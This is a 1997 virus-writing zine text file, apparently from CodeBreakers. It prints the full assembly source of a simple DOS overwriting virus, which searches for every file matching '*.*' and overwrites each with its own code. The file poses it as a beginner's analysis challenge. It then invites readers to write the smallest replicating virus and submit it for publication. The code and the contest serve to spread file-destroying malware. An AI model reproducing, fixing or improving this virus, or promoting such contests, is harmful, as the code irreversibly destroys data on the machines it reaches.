home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / CODBRK1.ZIP / Codbrk1 / Codbrk04.txt < prev    next >
Encoding:
Text File  |  1997-10-21  |  2.5 KB  |  64 lines

  1.                                   Challenge
  2.                                       By
  3.                                   Horny Toad
  4.  
  5. 1. Beginner's Challenge:  Armed with the knowledge that you have from the toad instructional 
  6. virus, try to find out how this virus (below) differs from the toad virus. Start first with what you 
  7. already know.  Mark off the sections that are familiar and construct a flow chart for what the 
  8. virus does. Ask yourself, "What type of files does it infect?" How many files will it infect? What 
  9. is the outcome?  What is the main problem with this code and how would you improve it?  There 
  10. are many mistakes in this code.  In the next issue of the mag, I will discuss the answers to the 
  11. quiz and also comment out the problems with the below code.  If you choose to compile it, make 
  12. sure that you keep it confined to an isolated directory.  There is no directory transversal or 
  13. resident routines, so you will not have to worry about it getting loose.  Have fun! 
  14.  
  15. code    segment
  16.         assume  ds:code,cs:code
  17.         org     100h                    
  18.  
  19. virus_start     equ     $
  20.  
  21. start:
  22.         mov     dx,offset file_type     
  23.         mov     ah,4eh                  
  24.  
  25. infect:
  26.         int     21h
  27.         mov     ax,3d02h                
  28.         mov     dx,9eh              
  29.         int     21h
  30.         mov     bx,ax                   
  31.         mov     cx,virus_length         
  32.         mov     dx,100h                 
  33.         mov     ah,40h                  
  34.         int     21h                     
  35.         mov     ah,3eh                  
  36.         int     21h                     
  37.  
  38. find_next_file:
  39.         mov     ah,4fh 
  40.         jmp     infect
  41.  
  42. file_type       db      '*.*',0
  43. virus_end       equ     $
  44. virus_length    =       virus_end - virus_start ;length of virus
  45.  
  46. code    ends
  47.  
  48.         end     start
  49.  
  50.  
  51.  
  52.  
  53.  
  54.  
  55. 2. Intermediate Challenge:  Write the smallest assembly virus possible.  The only rules are that it 
  56. replicate and work!  Submit your entries to me. Please include source and assembled code, along 
  57. with the assembler/linker instructions and what version of assembler/linker you are using.  You 
  58. can get in touch with me on the CodeBreakers site.  The winner and runner-up will have their 
  59. code published in the CodeBreakers mag and receive life-long subscriptions to the CodeBreakers 
  60. mag.  Good luck! (By the way, the current record to beat is SPo0ky at 27 bytes! You can 
  61. download his code at the "Member's Files" section of the Codebreakers site)
  62.  
  63.  
  64.